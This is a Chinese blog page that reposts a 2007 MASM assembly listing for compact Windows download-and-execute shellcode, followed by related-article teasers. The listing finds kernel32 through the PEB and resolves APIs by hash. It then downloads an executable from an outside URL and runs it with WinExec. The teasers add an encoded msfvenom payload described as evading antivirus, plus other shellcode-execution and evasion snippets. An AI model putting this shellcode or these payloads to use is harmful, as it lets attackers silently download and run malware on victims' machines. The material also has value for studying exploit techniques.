Tiny Download&&Exec ShellCode

ShellCode原理以及编写 0x0 ShellCode编写注意事原理 1)不能使用字符串的直接偏移 即使你在C/C++代码中定义一个全局变量,一个取值为“Hello world”的字符串,或直接把该字符串作为参数传递给某个函数。但是,编译器会把字符串放置在一个特定的Section中(如.rdata或.data)。 2)不能确定函数的地址(如printf) 在shellcode中,我们却不能以逸待劳了。因为我们无法确定包含所需函数的DLL文件是否已经加载到内存。受ASLR(地址空间布局随机化)机制的影响,系统不会每次都把DLL文件加载 阅读详情

Author: czy
http://www.ph4nt0m.org
Date:2007-06-22


;Tiny Download&&Exec ShellCode codz czy 2007.6.1
;header 
163=61(16+8+9+(28))+95(68+27)+17
;
163+19=192
comment 
%
                #
--------------------------------------#          #
              #  Tiny Download
&&Exec ShellCode-->       #       #
            #    
-->size 192                              #   #
          #                      
2007.06.01                 # 
            #                    codz: czy                #   #
             #
------------------------------------------#      #

system :test on ie6
+XPSP2/2003SP2/2kSP4
%
.
586
.model flat,stdcall
option casemap:none

include     c:/masm32/include/windows.inc
include     c:/masm32/include/kernel32.inc
includelib  c:/masm32/lib/kernel32.lib
include     c:/masm32/include/user32.inc
includelib  c:/masm32/lib/user32.lib


.data
shelldatabuffer db 
1024 dup(0)
shellcodebuffer db 
2046 dup(0)
downshell db 
'down exploit',0
txtname  db 
'c:/office/unicode.doc',0
.code
start:
 invoke MessageBoxA,
0,offset downshell,offset downshell,1
 invoke RtlMoveMemory,offset shellcodebuffer,00401040H,
256
 mov eax,offset shellcodebuffer
 jmp eax
 somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;上面的代码是把在代码段中的shellcode移动数据段中执行,模拟真实的shellcode执行环境 
@@shellcodebegin:  
 call @@beginaddr
@@beginaddr:
 PUSH 03H      ;要调用的API函数个数
 jmp @@realshellcode         
myExitProcess     dd 073e2d87eh  
myWinExec         dd 00e8afe98h   
myLoadLibraryA    dd 0ec0e4e8eh
dll               db 
'URLMON',0,0
myUrlDownFile     dd 0702f1a36h
path              db 
'c:/a.exe',0
url               db 
'http://www.masm32.net/a.exe',0

 

@@realshellcode:
    POP ECX
    POP EDI
    SCASD ;edi
+4
;得到kernel32.dll基地址
db  67h,64h,0A1h,30h,00h
 mov eax, [eax
+0cH]
 mov esi, [eax
+1cH]
    lodsd
 mov ebp, [eax
+08H]          ;EBP中存放kernel32.dll的基地址
;处理导出表
@@next2:
PUSH      ECX
@@next3:
MOV       ESI,[EBP
+3Ch]
MOV       ESI,[EBP
+ESI+78h]
ADD       ESI,EBP
PUSH      ESI
MOV       ESI,[ESI
+20h]
ADD       ESI,EBP
XOR       ECX,ECX
DEC       ECX
@@next:
INC       ECX
LODSD
ADD       EAX,EBP
XOR       EBX,EBX
@@again:
    MOVSX     EDX,BYTE PTR [EAX]
    CMP       DL,DH
    JZ        @@end
    ROR       EBX,0Dh
    ADD       EBX,EDX
    INC       EAX
    JMP       @@again
@@end:
CMP       EBX,[EDI]
JNZ       @@next

POP       ESI
MOV       EBX,[ESI
+24h]
ADD       EBX,EBP
MOV       CX,WORD PTR [ECX
*2+EBX]
MOV       EBX,[ESI
+1Ch]
ADD       EBX,EBP
MOV       EAX,[ECX
*4+EBX]
ADD       EAX,EBP
STOSD
POP       ECX
loop @@next2

mov ecx,[edi]   ;
2
cmp cl,
'c'      ;3
jz @@downfile   ;
2
PUSH EDI
CALL EAX        ;
2
xchg eax,ebp
scasd
scasd
push 
01         ;2第二个DLL的函数个数
jmp @@next3     ;
2
                ;总计17

        
@@downfile:

 push edx  ;
0
 push edx  ;
0
 push    edi  ;file
=c:/a.exe
 lea     ecx, dword ptr [edi
+9h]
 push    ecx  ;url
 push edx  ;
0
 call eax  ;URLDownloadToFileA,
0,url,file=c:/a.exe,0,0
 
 
 push 
1 ;FOR TEST
 push edi
 call dword ptr [edi
-14H] ;winexec,'c:/xxx.exe',1
 
    call dword ptr [edi
-18H] ;Exitprocess

    somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
    invoke ExitProcess,
0
end start
 
shellcodeexec, 在内存中,一系列操作码,要执行的脚本.zip shellcodeexec, 在内存中,一系列操作码,要执行的脚本 背景在这里,大部分的shellcode启动程序包括了许多"安全"书籍的概念证明,详细介绍了如何在POSIX系统上分配内存页面,并在你的上进行复制,并。 这个工作正常。但是,它只限于 POSIX 。不必考虑 64位 架构和 Windows 立即下载

相关推荐

shellcode 执行盒

//msfvenom -p windows/exec CMD=calc.exe -f exe -e x86/shikata_ga_nai -i 6 -f c 生成shellcod 测试数据: bf6e4a2508d9ebd97424f45d33c9b131317d13037d1383c56aa8d0f49aae1b055acf92e06bcfc161dbff8224d774c6dc6cf8cfd3c5b729ddd6e40a7c54f75e5e6538939fa2255ecd7b21cde2087fce894291566d1290772029cb57c2fe67dedce342a857d7392bbe26c180ff8730d8382fabaf304c56a8862f8c3d1d9747e5f9268b70892460f6d52877db6d54fcdaa1dd46f965861d603f62f39d5fcdac3b2be3b93176693fc70cdf3fd70e4f28e685002ff74f65cf155a9378800f1ee533fa5c10b00f1ce7a86519a36e9553bc1a99c0bd0efa872dd2d322d6712c 将shellcode作为参数传入执行盒,./shllcode_Argv.exe bf6e4a2508d9ebd97424f45d33c9b131317d13037d1383c56aa8d0f49aae1b055acf92e06bcfc161dbff8224d774c6dc6cf8cfd3c5b729ddd6e40a7c54f75e5e6538939fa2255ecd7b21cde2087fce894291566d1290772029cb57c2fe67dedce342a857d7392bbe26c180ff8730d8382fabaf304c56a8862f8c3d1d9747e5f9268b70892460f6d52877db6d54fcdaa1dd46f965861d603f62f39d5fcdac3b2be3b93176693fc70cdf3fd70e4f28e685002ff74f65cf155a9378800f1ee533fa5c10b00f1ce7a86519a36e9553bc1a99c0bd0efa872dd2d322d6712c 即可执行该段shellcode。 该exe可传vt查看报毒情况,无特征码

探索 ShellcodeExec:一款创新的Shellcode执行工具

探索 ShellcodeExec:一款创新的Shellcode执行工具 去发现同类优质开源项目:https://gitcode.com/ Shellcode 是一种二进制代码,通常用于利用软件漏洞进行攻击。在安全研究和逆向工程领域中,理解、创建和测试 Shellcode 是至关重要的技能。而今天我们要介绍的 是一个独特的开源工具,它使得 Shellcode 的编写、调试和执行变得更加简单。 项目...

gitblog_00062的博客 752

LABVIEW学习之MODBUS-TCP通讯

LABVIEW学习之MODBUS-TCP通讯 1,MODBUS-TCP通讯介绍: MODBUS通讯是工业上面经常用到的一种通讯协议。该协议的原理及介绍不在此累述,下面直接介绍LABVIEW对此协议的应用。 2,MODBUS通讯所需的函数: 安装了DSC模块之后可以在数据通信内找到相关函数 3 ,主VI 主要思路就是使用状态机来进行连接 读取 写入 断开。使用枚举类型来选择状态: 1,连接 2,写入多个M继电器: 3,写入单个M继电器 4,写入双字节D...

风动9527的博客 2万+

ShellcodeExec: 一个强大的Linux shellcode执行工具

ShellcodeExec: 一个强大的Linux shellcode执行工具 ShellcodeExec是一个功能强大的Python脚本,用于在Linux系统中执行shellcode。它不仅可以帮助你更轻松地运行shellcode,而且还提供了许多高级功能,如将shellcode注入到进程、生成PE文件等。 使用场景 ShellcodeExec可以用于各种安全研究和渗透测试任务。例如: 在目标...

gitblog_00019的博客 572

Full Range && Limit Range

Full Range && Limit Range1 Full range和Limit Range定义2 为什么会需要Limit Range3 用Full range去显示limit Range图片4 YUV转RGB5 额外 1 Full range和Limit Range定义 我们知道,对于RGB和YUV的色彩空间来说,有个位深(bit-depth)的概念;位深是指记录图像每个像素的色彩通道时所使用的bit数,常见的RGB888,YUV420-8bit。以RGB888为例,其代表R G B

zjhcj1的博客 1万+

VisionPro 9.0 QuickBuild里用C#脚本调用Halcon 23.11模型,保姆级图文配置流程

本文详细介绍了如何在VisionPro 9.0 QuickBuild环境中使用C#脚本调用Halcon 23.11深度学习模型,提供从环境配置到模型集成的保姆级图文教程。重点解决图像格式转换、许可证配置等工业视觉检测中的常见问题,帮助开发者快速实现高效、稳定的视觉检测流水线部署。

weixin_27027459的博客 438

python执行shellcode_python exec shellcode

前言这里我先吐槽一下,网上用中文搜的python执行shellcode。全部是复制粘贴,棒的我不知道如何下手然后今天早上@即刻安全-Yansu老哥帮我整出来了。老板喝茶正文代码我理解不了多少,可能还有错的获取shellcodemsfvenom -p windows/x64/exec CMD=calc.exe -f py -o /root/demo.py执行shellcode代码如下import c...

weixin_39620653的博客 731

资金穿透分析

我们把准备好的银行数据导入到软件中,导入具体步骤这里不做详解,大家可以通过“清林情报分析师”公众号,查看操作视频第二节

清林情报分析师 3493

shellcode初识

这是对shellcode学习的一个初步实践,采用经典的w

lonelydereng的专栏 793

Shader Graph实战:5分钟搞定Flow Map水体流动效果(含UV偏移避坑指南)

本文详细解析了如何使用Unity的Shader Graph工具快速实现Flow Map水体流动效果,涵盖基础原理、核心节点搭建、高级技巧及性能优化。特别针对UV偏移问题提供避坑指南,帮助开发者轻松打造专业级动态水面效果,适合游戏场景增强视觉表现。

weixin_29250403的博客 246

vue2学习笔记2-老规矩,从Hello World开始,了解Vue实例和模板

想要把“Hello,World”放置在页面上,首先需要准备一个HTML的块级元素div,来承接内容。

l_q_l的专栏 1259

深入剖析 Shellcode:下载、反弹 Shell 及代码示例

将解析后的 Shellcode 复制到分配的内存中,并使用 `VirtualAlloc` 和 `memcpy` 函数将其加载到可执行内存区域。但需要注意的是,下载和使用未经授权的 Shellcode 可能存在法律风险,并且在实际环境中可能会对系统造成严重的安全威胁。在进行此操作时,需要确保对 MSF 的配置和使用有足够的了解,以避免潜在的安全风险和错误配置。如果在未经授权的情况下使用,可能构成非法的黑客活动,违反法律法规。例如,在设置监听时,需要选择合适的攻击模块和参数,以适应目标系统的环境和漏洞。

m0_57836225的博客 1386

摆脱英文束缚!群晖Transmission4.0.4全新中文界面攻略

在群晖安装完官方Transmission4.0.4套件后,界面是英文状态的,不太好用。但是按照网上分享的原来4.0以前版本的方法更新UI又失败,所以自己搞了下成功了,分享给需要的朋友。

XiaoqiangClub的博客 5220

64位shellcode编程(不错) Windows x64 Shellcode

原文链接:http://mcdermottcybersecurity.com/articles/windows-x64-shellcode Windows x64 Shellcode January 11, 2011 Contents Introduction RIP-Relative Addressing API Lookup

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 4420

智能筛选栏 SmartFilterBar 全面解析与实战指南

SmartFilterBar 把复杂的检索界面“模板化”,让开发者聚焦业务逻辑与后端数据质量,而非 UI 小细节。通过精准运用 CDS 注解与 OData 元数据,它能在几毫秒内拼装出专业级筛选体验;结合事件钩子与控制配置,又足以满足极端个性化需求。拥抱 SmartFilterBar,意味着在 Fiori 生态中以最少代码赢得最快价值交付——这正是现代企业应用开发追求的极致效率。

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 404

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

shell exec命令(exec指令)(实现进程替换)

exec 是一个 Shell 内置命令,它的作用是将当前进程替换为指定的命令或程序。具体来说,exec 命令会将指定的命令或程序加载到当前进程的内存空间中,并将当前进程的 PID(进程 ID)保持不变,同时替换当前进程的代码、数据和堆栈等信息,从而实现进程的替换。实现进程的替换:使用 exec 命令可以实现进程的替换,从而在不创建新进程的情况下更新进程的代码和数据。优化进程性能:使用 exec 命令可以减少进程间的通信和数据拷贝,从而提高进程的性能。在脚本中看到exec命令,不知道干什么用的。

Dontla的博客 1万+

廖雪峰Python教程[完整版]

廖雪峰的python教程整理的,已经排好版了,而且还是完整的,适合小白

免杀 网络下载shellcode

首先准备在自己的VPS上一个二进制shellcode文件 // 动态下载shellcode.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #pragma comment(lib,"wininet.lib") #pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" ) //这句话是为了没有窗口显示 int main(int argc, _TCHAR* argv[]) { DWO

qq_43694952的博客 656

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

shellcode——1、采用硬编码弹出计算器

一、shellcode介绍    用一句话给shellcode下个定义,那就是“一段可以执行特定功能的机器码”。二、实验环境及工具介绍实验环境:Windows XP SP3实验工具:OllyDbg、WinHex、LordPE三、编程思路     用C语言来描述其实就是两句:WinExec("calc.exe", 5); ExitProcess(0);     看到有些文章会在开头还加一句:Load...

alwin_cx的博客 7144

windows下shellcode编写入门

本文简要介绍shellcode开发技术及其特点。理解这些概念可以有助于我们编写自己的shellcode。更进一步讲,你可以修改现有的漏洞利用代码来执行自己所需要的定制功能。

x_nirvana的博客 1万+

linux exec /bin/sh shellcode x86 and x86_64

linux/x86/x64 shellcode:exec /bin/sh

p0x1307的专栏 2052

执行shellcode的几种方式

首先写出汇编成功弹出计算器 #pragma comment(linker,"/section:.data,RWE") //data段可读写 #pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"") //不显示窗口 #pragma comment(linker,"/INCREMENTAL:NO") //指...

qq_41683305的博客 5417

DNS Reverse Download and Exec Shellcode

## # Shellcode: download and execute file via reverse DNS channel # # # Features: # * Windows 7 tested # * UAC without work (svchost.exe makes requests via getaddrinfo) # * Firewall/Router/Nat/Proxy b

www.i201314.net 642

shellcode---c和汇编混合编程---弹出cmd

首先用C/C++语言实现弹出cmd #include "stdio.h" #include "windows.h" int main(int argc, char* argv[]) { printf("begin\n"); HINSTANCE libHandle; char *dll="kernel32.dll"; libHandle=LoadLibrary(dll); W...

qq_41683305的博客 1003

文件上传下载的shellcode

由于个人职业发展的原因,以后可能不会再深入研究这方面的东西了,只会当作纯粹的兴趣爱好。 我最近都在研究WEB和浏览器安全,以及安全设计方面的工作。所以为了让这些烂在我硬盘里的东西能够更好的发挥作用,能够更加的open,我决定公开这些已经烂掉的东西,也算是对自己过去的一个交代。 shellcode是一项非常具有艺术性的工作,可以对shellcode做加密,可以自己在shellcode里实现 一个

tony的专栏 1669

shell的exec命令

概述 在docker的启动脚本中,我们经常可以看到有exec来启动执行命令,那这个到底有什么作用呢?我们来简单验证一下。 #!/bin/bash set -euo pipefail # Check if the the user has invoked the image with flags. # eg. "apm-server -c apm-server.yml" if [[ -z $1 ]] || [[ ${1:0:1} == '-' ]] ; then exec apm-server "

叶青 3008
上一篇: Phrack 64#
下一篇: PE线程附加工具
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值